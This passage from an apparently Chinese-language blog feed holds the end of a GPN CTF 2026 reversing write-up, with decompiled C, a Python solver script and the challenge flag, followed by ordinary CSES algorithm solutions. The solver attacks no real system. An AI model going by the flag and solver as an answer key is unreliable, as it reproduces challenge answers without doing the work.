operator">+</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span>v1 <span class="token operator">+</span> <span class="token number">63LL</span> <span class="token operator">-</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>把FOOD整串顛倒。</p><h2 id="taste" tabindex="-1" id="taste">taste</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">taste</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+8h] [rbp-8h]</span>  <span class="token keyword">int</span> v2<span class="token punctuation">;</span> <span class="token comment">// [rsp+Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Taste testing..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  v2 <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    v2 <span class="token operator">|=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> __int8<span class="token punctuation">)</span>DELICIOUS<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> v2 <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"YUCK!\nOur taste tester thinks your recipe produces bad food, we cannot serve this..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>檢查是否<code>FOOD</code>中每一位都跟<code>DELICIOUS</code>中的相同。</p><p>因此，我們只要取出<code>DELICIOUS</code>的值，並把四個步驟逆著推回去就好。</p><h2 id="exploit" tabindex="-1" id="exploit">exploit</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#!/usr/bin/python3</span>delicious <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token number">0x0A</span><span class="token punctuation">,</span> <span class="token number">0x0A</span><span class="token punctuation">,</span> <span class="token number">0x0A</span><span class="token punctuation">,</span> <span class="token number">0x0A</span><span class="token punctuation">,</span> <span class="token number">0x7D</span><span class="token punctuation">,</span> <span class="token number">0xDD</span><span class="token punctuation">,</span> <span class="token number">0x5E</span><span class="token punctuation">,</span> <span class="token number">0x4E</span><span class="token punctuation">,</span>    <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0x9D</span><span class="token punctuation">,</span> <span class="token number">0xFC</span><span class="token punctuation">,</span> <span class="token number">0x2C</span><span class="token punctuation">,</span> <span class="token number">0x9D</span><span class="token punctuation">,</span> <span class="token number">0xB9</span><span class="token punctuation">,</span> <span class="token number">0xEC</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span>    <span class="token number">0xEF</span><span class="token punctuation">,</span> <span class="token number">0xF9</span><span class="token punctuation">,</span> <span class="token number">0x99</span><span class="token punctuation">,</span> <span class="token number">0xEE</span><span class="token punctuation">,</span> <span class="token number">0x8F</span><span class="token punctuation">,</span> <span class="token number">0xE9</span><span class="token punctuation">,</span> <span class="token number">0x2E</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span>    <span class="token number">0x8D</span><span class="token punctuation">,</span> <span class="token number">0xFF</span><span class="token punctuation">,</span> <span class="token number">0x5C</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0x8F</span><span class="token punctuation">,</span> <span class="token number">0x5E</span><span class="token punctuation">,</span> <span class="token number">0xCC</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span>    <span class="token number">0x3D</span><span class="token punctuation">,</span> <span class="token number">0xEE</span><span class="token punctuation">,</span> <span class="token number">0xE9</span><span class="token punctuation">,</span> <span class="token number">0xFE</span><span class="token punctuation">,</span> <span class="token number">0x8F</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0xFE</span><span class="token punctuation">,</span> <span class="token number">0x8F</span><span class="token punctuation">,</span>    <span class="token number">0xE9</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0xFD</span><span class="token punctuation">,</span> <span class="token number">0xA9</span><span class="token punctuation">,</span> <span class="token number">0x3F</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0x99</span><span class="token punctuation">,</span> <span class="token number">0x1E</span><span class="token punctuation">,</span>    <span class="token number">0x3E</span><span class="token punctuation">,</span> <span class="token number">0x6C</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0x6C</span><span class="token punctuation">,</span> <span class="token number">0xFC</span><span class="token punctuation">,</span> <span class="token number">0xFC</span><span class="token punctuation">,</span> <span class="token number">0xCE</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span>    <span class="token number">0x3E</span><span class="token punctuation">,</span> <span class="token number">0x1D</span><span class="token punctuation">,</span> <span class="token number">0xCE</span><span class="token punctuation">,</span> <span class="token number">0xEF</span><span class="token punctuation">,</span> <span class="token number">0x9E</span><span class="token punctuation">,</span> <span class="token number">0x4E</span><span class="token punctuation">,</span> <span class="token number">0xAF</span><span class="token punctuation">,</span> <span class="token number">0xDE</span><span class="token punctuation">]</span>delicious<span class="token punctuation">.</span>reverse<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token comment"># re-mix</span><span class="token comment"># re-trim</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token punctuation">(</span><span class="token number">61</span><span class="token punctuation">,</span><span class="token number">62</span><span class="token punctuation">,</span><span class="token number">63</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0xAA</span>delicious<span class="token punctuation">[</span><span class="token number">60</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0x0A</span><span class="token comment"># re-fry</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">64</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">>></span> <span class="token number">4</span> <span class="token operator">|</span> delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&lt;&lt;</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token comment"># re-salt</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">64</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">^</span><span class="token operator">=</span> <span class="token number">0xAA</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span> <span class="token builtin">chr</span><span class="token punctuation">(</span>h<span class="token punctuation">)</span> <span class="token keyword">for</span> h <span class="token keyword">in</span> delicious<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>執行後拿到<br>Flag: <code>GPNCTF{I_Feel_lIK3_Y0u_4RE_RE4Dy_fOR_oUr_H4RD35T_d1shes_NOw}</code></p><p>以下為AutoCooker執行畫面，可以此觀察字串的變化：<br><img src="2026-06-10-20-23-43.png" alt="autocooker"></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/10/GPN-CTF-2026-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/06/10/GPN-CTF-2026-Writeup/"/>
    <published>2026-06-10T12:26:51.000Z</published>
    <summary>
      <![CDATA[<p>因為考上台大了，這個暑假打算上CTFtime上找一些比賽來打。本來想說畢業當周周末來打這個GPN CTF 2026，結果開賽前突然看到零日餅乾社裡傳一個ISIP-HS CTF，比賽時間包含這個GPN CTF，結果就變成GPN CTF只解了兩三題(還簡單題XD)(都在打ISI]]>
    </summary>
    <title>GPN CTF 2026 Writeup</title>
    <updated>2026-06-10T12:26:51.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Introductory Problems" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Introductory-Problems/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><blockquote><p><s>我覺得把題目複製過來是最累的一件事</s></p></blockquote><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>You are given all numbers between <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">1,2,\ldots,n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span> except one. Your task is to find the missing number.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The first input line contains an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>.<br/>The second line contains <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> numbers. Each number is distinct and between <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> (inclusive).</td><td>Print the missing number.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><mn>2</mn><mo>⋅</mo><msup><mn>10</mn><mn>5</mn></msup></mrow><annotation encoding="application/x-tex">2 \le n \le 2 \cdot 10^5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>5<br/>2 3 1 5</td><td>4</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E8%A7%A3%E6%B3%95%E4%B8%80" tabindex="-1" id="解法一">解法一</h2><h3 id="%E5%88%86%E6%9E%90" tabindex="-1" id="分析">分析</h3><p>這一個是我的做法<br>我很暴力的建一個布林陣列，用來標記哪些數字出現過了。當輸入<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>時，將陣列中Index為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的那項設為True<br>最後再掃一遍陣列的Index <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，看哪一個是False就是少掉的數字。</p><h3 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h3><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span> <span class="token keyword">bool</span> Number<span class="token punctuation">[</span><span class="token number">200001</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">long</span> <span class="token keyword">long</span> n<span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    std<span class="token double-colon punctuation">::</span>ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    std<span class="token double-colon punctuation">::</span>cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    cin <span class="token operator">>></span> n<span class="token punctuation">;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">int</span> x<span class="token punctuation">;</span>        cin <span class="token operator">>></span> x<span class="token punctuation">;</span>        Number<span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>Number<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>cout <span class="token operator">&lt;&lt;</span> i<span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A7%A3%E6%B3%95%E4%BA%8C" tabindex="-1" id="解法二">解法二</h2><p>這是我在網路上看到的：<a href="https://hackmd.io/@apcser/HJ5R16POR">CSES-Missing Number - HackMD</a><br>計算輸入的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>個數的總和，再用<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的總和去扣，得到的答案就是少掉的數字。<br>好處是可以大大降低空間複雜度。</p><p>程式自己練習吧反正不難。</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/03/CSES-Missing-Number-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/03/CSES-Missing-Number-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-03T05:30:03.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<blockquote>
<p><s>我覺得把題目複製過來是最累的一件事</s></p>
</blockquote>
<ul>
<li>Time limit: 1.00 s</li]]>
    </summary>
    <title>CSES Missing Number 題解</title>
    <updated>2026-06-03T05:30:03.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Dynamic Programming" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Dynamic-Programming/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="DP" scheme="https://r3xdj.pages.dev/tags/DP/"/>
    <content>
      <![CDATA[<blockquote><p><s>DP? 想成高中數學的遞迴就好啦</s></p></blockquote><h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to count the number of ways to construct sum n by throwing a dice one or more times. Each throw produces an outcome between 1 and  6.<br>For example, if n=3, there are 4 ways:</p><ul><li>1+1+1</li><li>1+2</li><li>2+1</li><li>3</li></ul><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The only input line has an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>.</td><td>Print the number of ways modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><msup><mn>10</mn><mn>6</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 10^6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>3</td><td>4</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E5%88%86%E6%9E%90" tabindex="-1" id="分析">分析</h2><p>這是DP入門題<br>給定<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>∈</mo><mi mathvariant="double-struck">N</mi></mrow><annotation encoding="application/x-tex">n\in\N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">N</span></span></span></span>，令<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">\mathrm{dp}[n]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mclose">]</span></span></span></span>表示欲求的方法數。</p><p>首先處理<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>⋯</mo><mtext> </mtext><mo separator="true">,</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">n=1,2,\cdots,6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span></span></span></span>的情形，此時是整數的有序拆分<br>(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≥</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">n\geq 7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>時就不是了，以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">n=7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>作為舉例，直接算整數拆分的方法數會多算到「擲出一個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn></mrow><annotation encoding="application/x-tex">7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>」這個方法，但骰子點數只有<span class="katex"><span class="katex-mathml"><math 